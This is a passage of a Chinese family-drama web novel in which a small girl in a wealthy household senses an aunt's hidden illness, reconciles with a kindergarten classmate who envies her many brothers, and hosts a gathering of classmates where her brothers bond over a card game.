名叫古晨的小男孩儿没想到，自己只是随便装了一把，竟然把自己的朋友给得罪了。 他尴尬的红着脸，半天，没憋出来一个字。 这时，随着园长打开门，呼唤等候区的小朋友排队过去。 古晨抢在了第一个，而小婉婉则因为不熟悉流程，只能排在最后一个。 大门外。 黎墨郢穿着初中部校服，但是挺拔的身姿站在一众家长中间，除了面相透着一股稚气外，身高和气场几乎不输他们分毫。 “园长，我接黎婉婉。” 园长虽然接过了名牌，但是看着黎墨郢身上的校服，还是多问了一句：“怎么今天是你来接？没有别的大人吗？” “还有司机。”黎墨郢沉声回答。 园长这才点头，感慨大家族的生活就是不一样，孩子们成群结队的生不说，出门还有司机接送。 回忆黎婉婉入学这几天，光是来接她的哥哥，就组成了一窝。 “黎婉婉，你哥哥来接你了。”园长回头喊了一声。 排在队伍最后的黎婉婉听见呼唤，背着小书包，从队伍后面跑出来。 “三哥哥！”雀跃的小丫头张开小手，几乎是飞扑到黎墨郢怀里。 园长担心黎墨郢清瘦的身体接不住，赶忙提醒：“慢点儿。” 结果，黎墨郢不光稳稳的接住婉婉，还一只手熟练的拎着书包，仅用一只手就将她抱起来。 这熟悉而流畅的动作，一看就是在家经常照顾孩子。 “谢谢，我们走了。”黎墨郢还不忘跟园长道别。 小婉婉也礼貌的挥了挥手：“园长拜拜哦。” “明天见。”园长也对他们挥了挥手，随即叫到下一个小朋友的名字。 小朋友的队伍里，排在第一位的古晨迟迟没有被叫到，看着小朋友一个一个的被接走，瘪着小嘴儿有些不太高兴。 这时，一个女孩子拍了拍他的肩膀，脸上挂着一些得意：“古晨，你不是你们家嫡子吗？可是你爸比和妈咪都没有第一个来接你。” “那又怎么样！他们只是工作忙，又不是不要我！” “不一样哦，如果你有哥哥的话，他就可以代替你爸比妈咪，这样你就不用等了。” 古晨：“……” 突然觉得，有个哥哥，好像也不是一件坏事。 古晨小小的脑子，瞬间浮现出，黎婉婉见到她哥哥的时候，是被抱着走的，而且还不用自己背书包，光是看着就很爽！ 于是，等到古晨的妈咪来接他，他拉住了妈妈，提了个要求。 “妈咪，书包太重了，我背不动。” 年轻的女人打扮时髦艳丽，一看就是新社会的女性，很注重孩子的教育。 “少装蒜，平时你都背得动，怎么今天就背不动？你不会又偷偷把学园的玩具带回家了？” “我没有！”古晨抿着小嘴儿，眼巴巴的看着母亲，说出真实想法：“我同学都不用提书包，还能被抱着，为什么你就不能抱我？” 年轻女人一脸无语：“你都多大了，还想让我抱你？羞不羞啊！以后你要做个堂堂男子汉，就得自己的事情自己做。” “可是，可是……”古晨一张小脸儿憋的通红，最后，‘哇’的一声哭了起来。“可是我才三岁啊，我不要做男子汉哇哇。” …… 小婉婉刚被黎墨郢从车上抱下来，就看见北院门口站着的朱丽月。 她今天又换了一件棕色旗袍，虽然妆容依旧明艳，但比昨日看起来稳重了一些。 她也在看到他们的时候，迈着轻盈的脚步走过来。 “阿郢，婉婉，你们回来了。我刚亲手做了桂花糕，给你们送过来一点。我看院子里有狗，没敢进去，正好你们回来，快点拿进去吧，另外我还给婉婉买了些衣服……” 朱丽月昨天刚来送过螃蟹，今天又来送桂花糕和衣服，讨好的意思不要太明显。 黎墨郢眉头微微皱起，虽然反感，但是仍然看在黎墨冰的面子上，没有将她撵走。 “先进去吧。” 随着大门打开，院子里的杜宾和狼青两只狗，立刻就对着朱丽月吠叫。 这两只狗是黎墨郢养的狗里最凶的两只，专门在他们出门的时候，作为护院。 放在院子里，谁都不敢进。 “曹国舅，铁拐李，坐下。”小婉婉见朱丽月吓得脸色都变了，学着黎墨郢下指令。 别看小小的人儿说话软软的，声音和语气根本没有威慑力。 可是上一秒还在狂吠着想要咬人的杜宾和狼青，在听到她的指令后，竟然都乖乖坐下了，但是眼睛，仍然盯着朱丽月，仿佛她稍微做出一点不轨的举动，就会发动攻击。 “它们还挺听婉婉话的。”朱丽月松了口气的同时，看小婉婉的眼神更加炽热。 这个孩子果然与众不同，就连那么凶狠的狼狗，都能驯服。 如果是寻常的孩子，光是看着这些大狗，都要被吓破胆。 “大妈，没事的，大狗狗不咬人。”小婉婉回头对她笑，拉着她的手把她带进去。 两只狗虽然不叫了，头顶上，一只玄凤鹦鹉却开始盘旋不停，扑棱着他满身华丽的羽毛叫嚷：“两只傻狗！傻狗！” 朱丽月之前就在黎墨冰的院子里见过这只鸟，知道他十分宝贝，之前还在纳闷儿鸟怎么不见了。 今天才发现，原来是送给了小丫头。 看来，他对这孩子也是真的用了心，就是不知道，在这孩子心里，她的阿冰占比有多少…… 朱丽月心里暗想，跟着小婉婉进屋后，她立马就把给小婉婉买的裙子拿出来。 是一件浅蓝色的蓬蓬公主裙，袖口是荷叶边设计，裙摆点缀着各种颜色艳丽的宝石，裙子的领口，也带着精致的刺绣，光是看这做工，就知道它价格不菲。 而宋珍珍给小婉婉挑选的衣服，都是以舒适为主，黎墨城和黎墨郢给她买的小裙子，也都是直男审美，款式简约。也只有朱丽月的审美，才会挑选这样亮眼的款式。 小婉婉看了一眼，就张着小嘴儿称赞：“这条裙子好漂亮呀。” “喜欢吗？大妈帮你试一试？” “好。”小婉婉开心的拍了拍小手，然后她看向沙发上的黎墨郢，说道：“三哥哥，我要换衣服了，男孩子不能看哦。” 黎墨郢瞧她那副没出息的样子，无奈转开脸，起身向外走。 “换好了叫我。” “嗯。”小婉婉答应，等到黎墨郢走到外面，小婉婉在朱丽月的帮助下，脱掉了校服。 就在朱丽月拿着衣服准备给她穿的时候，小婉婉通过她弯腰的姿势，忽然停下了动作。 “怎么了？”朱丽月疑惑。 小婉婉左闻闻，右闻闻，在确定了自己的发现后，把头钻进领口，套上小裙子。 朱丽月让她转身，给她拉好拉链，带到镜子前：“看，小婉婉穿这条裙子真漂亮。” 小婉婉却只是看了镜子一眼，转过头，问朱丽月：“大妈，你肚子痛痛吗？” “我肚子？”朱丽月随着她的动作，将手放在小腹上。 她月事最近半年确实有些不规律，要么就是两个月不来，要么就是一个月来两次，破坏她与丈夫的好事。 朱丽月看着小婉婉挂着认真的小脸蛋儿，不知道为什么，后背冒出一层冷汗。 正当她想要问个仔细的时候，门口传来黎墨郢的询问：“换好了没有？” “三哥哥，我换好啦。”小婉婉挣脱她的手，在黎墨郢进门时，跑过去转圈炫耀：“三哥哥，婉婉好看吗？” “好看。”黎墨郢目光落在她身上观察了一会儿，确定她没有问题，才看向朱丽月。 朱丽月不好在他面前提起自己的隐私，把小婉婉换下来的校服叠工整，走过来说：“那这边没事我先回去了，你们两个休息吧。” 朱丽月不等黎墨郢答应，脚步匆匆的离开。 然而刚出门，她就被院子里的两只狗吓的脸色苍白，尴尬的回头：“阿郢，你能不能帮我赶一下狗？” 黎墨郢颔首，走到院子里，震慑两只大狗不敢擅动，朱丽月赶紧加快脚步走了。 她离开后，黎墨郢回到屋子，将小婉婉叫到跟前问：“她刚才有没有跟你说什么，或者对你做什么？” 小婉婉想了想，回道：“大妈给我穿小裙子，夸我漂亮，就没有了。” “就这些？”黎墨郢若有所思，刚才他观察朱丽月的神色，分明是透着几分心虚。 “你再努力想想。”他催促。 小婉婉努力的想啊想，还是没想到别的，于是就将自己发现她的秘密告诉黎墨郢。 “三哥哥，大妈生病了哦，她肚子痛痛。” …… 朱丽月脚步匆忙的往自己的院子里走，明明去的时候还好好的，可是在被小丫头提醒后，忽然感觉腹部绞痛。 尤其被大狗吓了之后，更是痛得她脚步都要站不稳，眼看就要接近院子，她痛的实在扛不住，蹲在了地上。 “妈！” 黎墨冰在得知她又去找小婉婉，就赶到了北院，正好碰见她出来，便一路在后面跟着。 此刻发现她状态不对，一个箭步冲了过来，看见她苍白到没有血色的脸。 朱丽月现在痛的要命，见到突然出现的儿子，宛若见到救星。 “阿冰，快，我肚子好疼啊，送我去医院。” 黎墨冰将朱丽月从地上抱起来，因为没有驾照，他临时找了一个司机，火速赶往医院。 朱丽月被推进急诊室，一番检查后，医生给她注射了镇定剂，送到病房观察，一边等待结果。 “阿冰……”朱丽月的气色恢复了一些，她拉着黎墨冰的手，担心自己得了绝症，身体不停颤抖。“妈会不会死？我好怕！” 黎墨冰却无动于衷，冷着声音问道：“你去找婉婉，是不是对她做什么了？” 小婉婉乃瑞凤转世的秘密，只有少数几个人知道，看着朱丽月虚弱的样子，他完全有理由怀疑，她又做了坏事，才遭到了报应。 朱丽月本来就吓的不轻，现在又被亲儿子怀疑，刚刚被药物压制的痛意再次涌上来，连带着她的心脏也跟着撕扯般疼。 她哭得一把鼻涕一把泪：“我没有啊，你为什么就是不相信我？我只是给她买了件衣服，还是她问我有没有肚子疼，她问完了不久，我就疼的受不了，之后碰到你送我来医院呜呜。” 黎墨冰正要开口，医生拿着超声报告推门进来，告知他们检查结果：“朱女士子宫内长了肿瘤，幸好发现的及时，手术就可以治疗，否则破裂后就会导致扩散，治疗起来就棘手了。” 医生的话，让黎墨冰和床上的朱丽月都出了一身冷汗。 发现的及时，还能治疗，说明刚才肚子疼，不是一件坏事！ “医生，如果做手术，会有什么风险？”黎墨冰紧跟着问。 医生回：“风险肯定是有的，但是我院医疗设备先进，再由院长亲自主刀，风险不到百分之五。” “那就好。” 送走了医生，黎墨冰一身冷汗退去，来到朱丽月面前，眸光幽幽的看着她。 “你听见了吗？幸好婉婉提醒你，否则等到扩散，你就真没命了。” 朱丽月完全沉浸在不敢置信当中，双眼无神的喃喃：“婉婉只是一个小孩子，她是怎么发现的？” 黎墨冰神色凝重，用力握住她的手，一字一句将她点醒。 “你不需要好奇这些，只用记住，今天，是婉婉救了你一命。” 第86章 三哥哥最喜欢我 朱丽月查出病症后，就一直住在医院里等待手术。 身为大家族里的女人，任何一点状况，都会引发出无限遐想，尤其她得的还是子宫肌瘤，生怕被家里人知道后，背后议论她不检点，是以，她必须得瞒住。 除了她亲生的儿子，朱丽月谁都不信。 于是她让黎墨冰给黎立轩打了电话，说她想出去旅游，让黎墨冰陪她一起。 母亲生病，黎墨冰自然要在身边尽孝道，对于朱丽月的要求，他也不想徒增是非，于是便同意按照她交代的去做了。 不过在告知黎立轩后，他又多打了一个电话，是给黎墨郢。 “我妈病了，人在医院，我跟父亲还有别人说，陪她出去散心。” 黎墨郢早就在小婉婉口中知道朱丽月身体出现问题，是以，黎墨冰打这通电话过来，他并不意外。 只问道：“严重吗？” “还好发现的及时，医生说需要手术，可能要半个月，我都要在这边守着。”黎墨冰面对全家唯一理解他，能说知心话的三弟，才会释放出真实情绪。 而黎墨郢也完全不用他特意叮嘱，就知道该怎么做。 “你好好照顾她，我不会说出去。” 黎墨冰倍感欣慰，“嗯”了一声，在挂断电话之前说道：“你帮我，谢谢婉婉。” “嗯。” …… “黎婉婉！” 名字叫古晨的小男孩儿刚来到学校，就吭哧吭哧的跑到小婉婉面前。 “古晨，你叫我有什么事？”小婉婉放下小人书，好奇地问。 昨天听他说过那些话，她以为他也像王羽珊那样，再也不跟自己玩了。 没想到小男孩儿此刻却满脸笑容，把手里捧着的精美蛋糕放在她的桌子上。 “这个送给你！我妈咪昨天把我骂了一顿，对不起，我不该那么说你，以后我们还能做好朋友吗？” 小婉婉一听他要跟自己和好，立刻开心的点头。 “当然是好朋友，可是，我不能收你的小蛋糕，你还是留着自己吃吧。” 小婉婉只是看了那块蛋糕一眼，就收回了目光。 对不属于自己的东西，没有丝毫贪图的念头。 这可让一心想要和她处好关系的古晨发愁了，挠了挠后脑勺，他紧张的问：“你不喜欢这个口味？” 小婉婉继续摇头，奶声奶气的解释：“三哥哥不让我收别人的礼物，我想吃好吃的，他会给我买。” 古晨的注意力立刻就被转移，趴在他桌子上问：“真的？你要什么你三哥都给你买？” “当然啦，三哥哥最喜欢我！他亲口说的。”被宠爱的小婉婉小鸡捉摸，露出美滋滋的笑儿。 古晨一下就羡慕了。 他双手抱着头，在她桌子上哭爹喊娘：“老天爷啊，我好羡慕你有哥哥！为什么我没有，我好想要一个哥哥疼我，给我买各种玩具和好吃的！” “你可以让你爸比和妈咪给你生一个！”小婉婉见他苦恼，便给他出主意。 古晨露出便秘的表情，泄气：“你以为我不想？我妈咪说，他们只能给我生弟弟妹妹，生不出哥哥！” “好吧。”小婉婉同情的叹了口气，她能力有限，这种事，帮不上忙呢。 很快，教室里的小朋友都来齐了，随着刘祖玉进入教室，宣布开始上课，古晨回到了自己的位置上。 等到了下课，刘祖玉组织小朋友们出去课间活动，古晨第一个站在小婉婉身边，坚持要跟她一起组队。 “古晨，你昨天不是说，不跟黎婉婉一起玩？今天怎么就变卦！”昨天跟他观点一致的小男孩儿发出疑惑。 古晨从鼻腔“嗤”了一声，丝毫不为自己的反复无常而尴尬。 “我就跟她好怎么了？我愿意，你少管我！”说着，他还特意牵住了小婉婉的手，表明自己的决心。“黎婉婉，以后我就是你最好的朋友，绝不反悔！” 黎婉婉用另一只手挠了挠脑门，想说她已经有最好的朋友了，但是随着老师宣布活动开始，她只好把话咽了回去。 刘祖玉组织的课间活动是，两个小朋友为一组，进行的传球接力比赛。 古晨一向自认为是全班体能最好的小朋友，为了得到好朋友的称赞，夸下海口，要赢得第一。 “黎婉婉，如果我得了第一名，你能不能答应我一件事？” “你要我答应你什么事？”小婉婉天真的问。 古晨眼睛转了两圈，露出一脸狡猾的笑：“先不告诉你，等我拿了第一名再说！” 说完，他在老师宣布活动开始的时候，看准了小婉婉手里的皮球，稳稳接住，撒开腿就往终点跑。 小婉婉跟其他小朋友一起，为自己的队友加油。 “加油！古晨！” 古晨听到了小婉婉清脆的呐喊，浑身像是有使不完的劲儿，第一个跑到终点，兴奋的像猴子一般，蹿得老高。 “哦也！我是第一！” 活动结束，古晨和小婉婉分别获得了第一名的奖品，是一个很精致可爱的毛毛玩具。 “黎婉婉，我不喜欢这个，给你吧。”古晨特别大方的将自己的奖品塞到小婉婉手里。 不过小婉婉一直记得黎墨郢的叮嘱，所以，赶忙将东西还给他。 “古晨，你以后不要送我东西了，三哥哥知道会生气的。” 古晨听她张口闭口全都是三哥哥，无奈的在屁股上抓了几下。 “那刚才说好的，还算不算数？” “你说让我答应你一件事？” “对！” “那你先说是什么事。”小婉婉可不傻，万一他提自己办不到的要求，那她当然不会答应。 古晨一看她不直接答应，有些着急，红着小脸儿说：“咱们俩刚才不是就说好，我得了第一，你就答应我！” 小婉婉摇头反对：“你说拿了第一名，再说什么事，我没有直接答应。” 古城一直都以为黎婉婉傻乎乎的，还以为她很好骗，没想到她还挺有逻辑。 于是老气横秋的端着小脸儿，说出自己的期盼：“我们不是好朋友吗？我能不能去你家做客，把你哥哥借我一天？让我也感受一下有哥哥照顾是什么感觉。” “当然可以。”小婉婉干脆答应。 因为开学之前宋珍珍和黎老爷，黎老夫人都教过她，要跟同学么好好相处，放假也可以邀请他们来家里做客。 古晨见她同意了，高兴的一蹦三尺高！ “太好了！那就这个周日，我去你家！” 古晨的刚喊完，陈玲玲和孙彤彤听见，当即就吃醋了，手拉着手跑过来。 “黎婉婉，我们难道不是你的好朋友吗？为什么你只邀请古晨去你家？” “黎婉婉，你是不是不跟我们做朋友了？” 小婉婉见另外两个好朋友生气，果断的拉住她们的手，诚恳的发出邀请。 “你们也是我最好的朋友，都可以去我家做客。” 陈玲玲和孙彤彤这才满意的笑了，两个人合力把古晨挤到边上，争先恐后的说：“那我要带很多很多好吃的，妈咪说，好朋友之间，要相互分享。” “那我要带好多好多玩具，我们一起玩过家家。” 古晨小脸儿不服，叉着腰嚷嚷：“那我就带超多超多好吃的和玩具，哼！” 中午，到了放学时间。 小婉婉又和半日制的同学在等候区等待家长。 古晨大大咧咧的坐在中间，为了找回昨天丢掉的面子，他得意扬扬的抱起了胳膊。 “我郑重宣布，放假我就去黎婉婉家做客，她答应把她的哥哥借给我，以后，我也是有哥哥的人了！” 小婉婉听他以后都要借自己的哥哥，眨着大眼睛，可爱的小脸蛋儿都凌乱在了风里。 不过她还没来得及说话，就见好几个同学站起来，七嘴八舌的问她，为什么不邀请自己。 “黎婉婉，古晨是你的同学，我们就不是了吗？你为什么只邀请他不邀请我们？” “就是，黎婉婉，刘老师说过，我们是同窗，要一视同仁！” “黎婉婉，你不邀请我去你家做客，我就不跟你玩了！” 小婉婉每当想要说话的时候，总有人将她打断，最后，等所有人都说完，小小的人儿大大叹气。 “我们都是好朋友，欢迎大家都来我家做客。” “哦，太好了，咱们都可以去黎婉婉家玩了！” “刘老师说她家有很大的庄园，我还没去过庄园呢。” “我也想去看看。” 这个要求本来是古晨提出来的，没想到最后去的人会这么多，顿时有些不爽。 正当他抱着手臂准备发作时，刘祖玉叫到了他的名字。 “古晨，你爸比来接你了。” “爸比！”古晨飞扑着跑到父亲面前，抱着他的大腿就开始兴奋，也不管有多少人去了，只顾着分享喜悦。“爸比，我跟黎婉婉约定好，这周末去她家里做客。” “去同学家做客？” “好不好嘛，爸比，黎婉婉家很大，很漂亮，我们同学都去，我也要去。”古晨生怕父亲不答应，抱着他的大腿耍无赖。 旁边。 黎墨郢冷眸看着这一幕，眉心拧出了三道川字。 “三哥哥！”小婉婉像只小蝴蝶般跑过来。 黎墨郢本能的张开双手，将她稳稳地接住，看着她满脸通红，额头有汗珠贴着发丝，拿出手绢给她轻轻擦拭。 见古晨父子俩离开，黎墨郢才问道：“你在班里交朋友了？这周还邀请他们到家里做客？” “嗯。”小婉婉嘿哟哟的大眼睛眨呀眨，看着三哥哥有些不高兴的脸，一时犹豫要不要说出，自己已经把他借出去呢？ 黎墨郢抿着嘴唇没说话，兀自抱着她坐在车里，以手扶着额头。 小婉婉一会儿歪一下头，观察他的表情，发现他始终不理自己，摇晃他的手。 “三哥哥，你又变成气包子了吗？” “说谁气包子？”少年的脸黑得像碳，在她头上用力褥了一把，却终究没忍心责怪，只说了一句：“越来越没大没小。” 小婉婉捂着小嘴儿“咯咯咯”的笑起来。 “是大哥哥说你生气的时候，像个气包子。” 黎墨郢：“……” 他不在的这段时间，大哥都教了她什么？ 黎墨郢暗暗把这笔账给黎墨城记下，虽然赌气，也没有跟小丫头发脾气。 回到家后，黎墨郢考虑到自己手头紧，怕自己替她招待不好那些同学，就直接去了宋珍珍的院子里，找母亲求助。 “婉婉的同学都要来？那咱们可得好好准备，把他们都招待好了。” 过往，黎家的孩子也都会带同学或者朋友来家里，不过他们常常都是只带两三个，光是各院的姨太太就可以搞定。 但小婉婉这次邀请的同学太多，宋珍珍担心张南照顾不周，再次影响到小婉婉在学校的人际关系，决定亲自准备这场聚会。 “我知道了，你们都不用操心，等到周日那天，直接把她同学带到我这儿来就行。” “好。”黎墨郢正好不喜欢吵闹，觉得在宋珍珍这里刚好，商定好后，就带着小婉婉回去了。 …… 周日这天。 小婉婉很早就被黎墨郢叫醒，揉着惺忪的睡眼，起来穿上了一条湖蓝色的新裙子。 黎老夫人得知她今天要招待同学，特意派王妈带了很多收拾过来，务必把小婉婉装扮好。 王妈先是给她梳好小辫子，戴了一对可爱的蝴蝶结发卡，而后两只手腕上，也戴了金手镯。手镯上两只精致的铃铛，随着她举手投足，发出清脆的响声，小婉婉还算比较喜欢。 就是到佩戴金锁的时候，小婉婉整个小人儿都感觉不好了。 “王妈，这个不戴。”小婉婉扒拉着锁圈，想尽办法要取下来。 王妈笑呵呵的哄着她说：“小小姐这个不能取，老夫人说了，这是咱们黎家的门面，让你的那些同学都看一看，长辈们对你的重视，以后谁也不敢轻看你。” “可是，脖子好重。”小婉婉惆怅的撅起小嘴儿。 黎墨郢回到房间，看到这一幕，大步走过来，直接动手就帮她把金锁圈取下来。 “她还这么小，弄得花里胡哨像什么！” 王妈一脸为难的说：“三少爷，这是老夫人的意思，不能让小小姐被同学给比下去。” 黎墨郢嘴角抽了抽，刚才他去宋珍珍那里见过那群孩子了，叽叽喳喳像蜂巢一样，心思全都在吃和玩的上，哪里还有心思比较！ “他们要比也不比这个，她同学都到了，我现在带她过去。” 黎墨郢一边抱着小婉婉向外走，一边捏起她的脸，愤愤不平的埋怨：“臭丫头，连哥哥都能借给别人，可显得你大方！” 小婉婉面对黎墨郢的控诉，只能心虚的回避着大眼睛，把脸埋在他脖子里，躲开他伸过来的手。 “对不起，三哥哥，我不是故意的。” 小婉婉记得当时和古晨说好，只把哥哥借给他一天的。 可是后来到了他自己嘴里，就成了以后都是他哥哥…… 第87章 最担心的也许不会出现 黎墨郢并没有一直跟小丫头纠结借哥哥这件事。 因为古晨来到家里后，向宋珍珍表达了他对婉婉的羡慕，宋珍珍为了给小婉婉争口气，除了黎墨冰，把家里的几个孩子都叫来了。 就连黎墨城也放下手里的工作，特意买了许多零食，回来参加这场‘大小孩’的聚会。 黎墨黔和黎墨羽这个年纪，就是上下通吃，不管大几岁小几岁，都能玩得到一起去，几乎很快，就跟小婉婉的同学们打成了一片。 饶是性格内敛的黎墨瞳，都在小孩子们七嘴八舌的攻势下，不得不参与到活动中。 黎墨郢抱着小婉婉进了院子，小朋友们一看到她的穿着和打扮，不约而同的投来羡慕的神色。 和她关系要好的孙玲玲直接问：“黎婉婉，你的裙子好漂亮，我的衣柜里都没有呢！回头，我也让我妈咪给哦我买一条。” “黎婉婉，你头上的发卡是在哪里买的？我也要让我妈咪给我买。” 能够在国际学院上学的小孩子，大都非富即贵，所以就算羡慕别人拥有自己没有的，也只会让家里人给自己买，不会生出嫉妒心。 小婉婉坐在椅子上，和两个好朋友并排，叽叽喳喳的聊起了天。 “裙子是三哥哥给买的，发卡是阿奶给我挑选的，我也不知道是在哪里。” “黎婉婉，你哥哥对你真好，不像我哥哥，我一点都不喜欢他！”旁边，一个小姑娘气呼呼的插话进来。 “秦好，你为什么不喜欢你哥哥？”陈玲玲问。 名叫秦好的小女孩儿抱起胳膊，幽幽的道了一句：“因为他不是我爸比生的，他的妈咪也不是我的妈咪！” 她的话让在场的小朋友反应了许久，但是稍微大一点的孩子，几乎都是秒懂的。 话多的黎墨黔这时开口：“你爸比和你妈咪是后组家庭？” 秦好气鼓鼓的点头：“对，所以我一点都不喜欢我哥哥，因为阿公阿婆说，他就是来跟我抢家产的！” 小姑娘的话，让在场的大人和大孩子都禁不住发笑。 但是又何尝不是在暗示，大家族之中隐秘的争斗，被搬到了台面。 好在黎家的所有孩子在宋珍珍的教育下，完全不存在争斗或者暗中算计，每个人都是在以自己的人生为主，为了自己的梦想去努力。 黎墨黔还没心没肺的接话道：“你们家有多少家产值得你这么点儿就去争？像我们黎家，兄妹总共七人，而且婉婉也跟你一样不是我们爸比妈咪亲生的，但是在我们心里，早就已经把她当成家人，既然是一家人，就是一体的，需要守护和成全。” 黎墨黔没想到，自己只是随便将书本上的话说出来，就引得满桌子的目光。 大家都神色不一的看着他，年纪小的孩子们，都在消化他话里的意思，至于黎墨城、黎墨郢和黎墨羽、黎墨瞳，则是将目光定格，久久不动。 “怎么？我说的有问题吗？”黎墨黔从小学习不好，被人肯定的机会太少了。 是以他才怀疑自己刚才随口说的道理，成班门弄斧了？ “你说的太好了！四哥，看来二妈上个月逼你看的书，都没有白看，有水平。”黎墨羽竖起拇指，给他一个大大的赞。 “确实，我还是第一次听老四嘴里说出这么有深度的话。”黎墨城好笑的勾起唇角。 饶是一向沉着脸的黎墨郢，都难得的对他称赞了一句：“你说的不错。” 黎墨黔被夸的有些不太好意思，红着耳朵，挠了挠后脑勺：“哈哈……真的吗，我就是说出心里话而已，兄弟们都对我很好，所以我从来不觉得，兄弟多是件坏事。” “喏，你看到的，这本来就不是一件坏事。”黎墨城看他表现的还不错，勉强将专门留给小妹妹的巧克力，给他分了一块儿。 黎墨黔顿时觉得自己可以了，就算眼馋，可是知道今天是什么场合，力求好好表现。 “大哥，我还是不吃了，都留给小妹，她爱吃。”说着，黎墨黔将巧克力放在小婉婉面前。 小婉婉幸福的眯着眼睛，奶呼呼的说：“谢谢四哥哥。” “不用谢，我们是哥哥，本来就应该照顾小妹妹。”黎墨黔趁机伸出手，在她头上揉了两下。 而在小婉婉同学看来，她与哥哥们温馨互动的场景，无疑是让人羡慕的。 任谁都能想象得到，生活在这样一个热闹又有爱的家庭里，肯定非常幸福！ 家里是独生子女的都发自内心的期盼，自己也能有哥哥，或者拥有姐姐。 家里非独生的，则会反思自己，能不能像小婉婉一样，与自己的哥哥姐姐们团结友爱。 …… 宋珍珍专门为小婉婉组织的同学聚会，黎老夫人与黎老爷虽然本人没有出面，但是耳朵时刻都在留意着那边的动静。 当二老得知，宋珍珍把黎立轩的孩子们都叫去，就更加好奇，那边会发生什么。 所以等到佣人过来，将现场的情况，以及黎墨黔说出的那番话描述给二位，黎老夫人听得眼圈温热，感动的鞠了把老泪。 “老黎，不知不觉，孩子们都长大了，这些年你跟我最担心的……也许不会再出现！” 作为家中最老的一代人，黎老爷和黎老夫人亲身经历过家宅内斗，也亲身参与过你死我活的家产争夺。 直到他们活了大半辈子，看着昔日视作敌人的亲人们，一个个身埋黄土，他们才终于意识到，人活到最后，即便生前拥有再多，也是死后带不走的。 什么都没有一家人团结、平安来得重要！ 可惜他们醒悟的太晚了，等他们明白这个道理的时候，黎立轩已经给黎立轩娶了好几房妻子，也都各自生下了孩子。 他们也只能把迟来的领悟，寄托给下一代的孙子们。 结果不出几年，还是出现朱丽月算计黎墨郢的事件，各房开始减少走动，孩子们也都渐渐停止接触，感情慢慢疏远。 黎老爷和黎老夫人这些年都紧绷着一根弦，尤其是老夫人，自己曾经受过的苦，因为自己想不开，让宋珍珍也受过一遍！ 在黎老爷生病的那段时间，她每天都在懊悔，陷入深深的自我怀疑之中。 直到阿轩娶回了小五，从内地带来了婉婉。 是她的出现，让家里发生了这些天翻地覆的变化，就像是一条无形的纽带，将孩子们的心聚集在了一起。 这是她苦心经营多年，求都求不得的。 “太好了，真的太好了，只要孩子们一直团结，我们黎家的根基就永远不会动摇。” 黎老爷一直都没有开口，只是安安静静的坐在椅子上沉默。 他想到了二房那些孩子们。 君子论迹不论心。 那些只会口蜜腹剑的玩意，真的不是他不给机会，而是今天换成是他们坐在一起，怕是没有一个，能有阿黔的半分气度和格局。 …… 小婉婉与同学们的聚会一直持续到了下午，小朋友们的家长纷纷过来接人，宋珍珍与黎墨城先后妥善的将他们送走，且还都准备了精心的礼物，邀请他们下次再来。 古晨明明是最先提出来玩的，目的是为了借哥哥，感受一下小婉婉的幸福。 聚会的过程中，他见她好几个哥哥都不理自己，于是就粘着一直都不怎么说话的黎墨瞳，小嘴儿叽里呱啦的跟他说个不停。 黎墨瞳虽然很少跟他交流，但是在他有需求的时候，也会照顾到，比如古晨想去卫生间，但是一个人找不到，黎墨瞳亲自起身陪他去。 古晨觉得，自己这半天过得不要太幸福了。 要知道在家里，爸比和妈咪对他都没有这么无微不至！ “有哥哥真是太好了，瞳哥，以后我还能过来找你玩吗？”如果不是古晨的爸比一直催促，他都想住下来不走了。 黎墨瞳表情温吞，点了点头，古晨才不得不挥了挥小手，跟着爸比离开。 佣人们开始收拾院子里弄出的狼藉，小婉婉和她的哥哥们，也该到了散场的时候。 最痛苦的莫过于黎墨黔，他双手抱着头哭诉：“完蛋了，下午回去，我妈肯定又要逼我学习！” 话刚说完，宋淼淼院子里的佣人走了进来，对黎墨黔说道：“四少爷，二姨太说难得能像今天这么热闹，你可以在这边玩到晚上，再回去写作业。” “真的？太棒了！”黎墨黔兴奋的搂住黎墨羽的脖子，恨不得亲上两口。 可是黎墨羽却想起，自己下午要去上书法课，望着坐在一起的哥哥们，因为不能继续在一起而感到些许失落。 “六少爷，三姨太说，书法课你要是没时间，可以推到下周！” 黎墨羽听后也露出欣喜的笑容，稳重的道了声：“好。” 黎墨黔站起来提议道：“不如我们来玩牌吧？就是学校里最近正流行的，输的人在脸上贴纸条！” 见黎墨城和黎墨郢都没有反应，他看向身边的黎墨羽。 黎墨羽其实也很想玩这个游戏，平时在学校里老师管的紧，难得放假，人多玩起来才热闹。 “我同意。”看着黎墨城和黎墨郢的脸上没有抗拒，便点了点头。 黎墨城倒是没意见，平时他工作太忙，几乎没有机会像现在这么悠闲。 “我也没意见。”黎墨城看向黎墨郢。 黎墨郢兴致缺缺的道了声：“幼稚。” 但是看大家都在，而且身边的小婉婉也兴奋的拍手，并没有离席的意思。 接下来，就看剩下的黎墨瞳的意愿了。 一直在家当影子习惯了的黎墨瞳，忽然受到哥哥们的注视，顿时感受到庞大的压力。 他局促的站起来，低着头，刚开口说要回去。 黎墨城的话便响起：“老五平时不怎么出门，也该跟兄弟们多聚聚。” 黎墨瞳紧紧的攥着手，如同收到了不可违抗的指令，身体僵硬的坐了回去。 黎墨城目光在他深深埋头的动作里定格两秒，暗自摇了摇头，没再说话让他紧张。 黎墨黔找宋珍珍要了两副牌，跟大家说完规矩后，就开始了游戏。 小婉婉因为年纪太小，加入不了游戏，但是并不妨碍她在游戏过程中的体验。 哥哥们握着扑克牌，各自展现着技术，她则负责握着纸条，在上面粘上双面胶，给除了黎墨城之外的每一个哥哥，都做个别致的造型。 然后在拍拍小手，满意自己的杰作。 “看，四哥哥变成白胡子老爷爷。” “三哥哥是大老虎！” “五哥哥，你在脸上偷偷抹胭脂了吗？你的脸蛋儿为什么红红的？”小婉婉吭哧吭哧的给黎墨瞳的脖子上贴了一张纸，然后就提出很早就想问的问题。 黎墨瞳顿时感觉自己的脸在着火，连同呼吸出来的气体都烫人。 “没，没有。”他的声音小的，也只有他自己能听见。 小婉婉突然想到什么一样，翘起小脚，学着大人的模样，用小手摸摸他的脸。 然后，又摸摸自己的小额头，放心的点了点头：“五哥哥没有发烧，还可以继续玩。” 小婉婉说完，就蹬蹬蹬的跑到黎墨郢身边，乖乖坐好，等着再给下一位哥哥贴纸条。 如此，这么一玩就到了傍晚。 一开始脸上干干净净的黎墨城，后来在黎墨郢和黎墨黔几人的配合下，也没能逃过被小婉婉装扮成白胡子老爷爷。 映着夕阳，院子里传来的笑声不断。 宋珍珍站在窗口，看着兄友弟恭的场景，欣慰的同时，想到了与朱丽月一起‘出门’的黎墨冰。 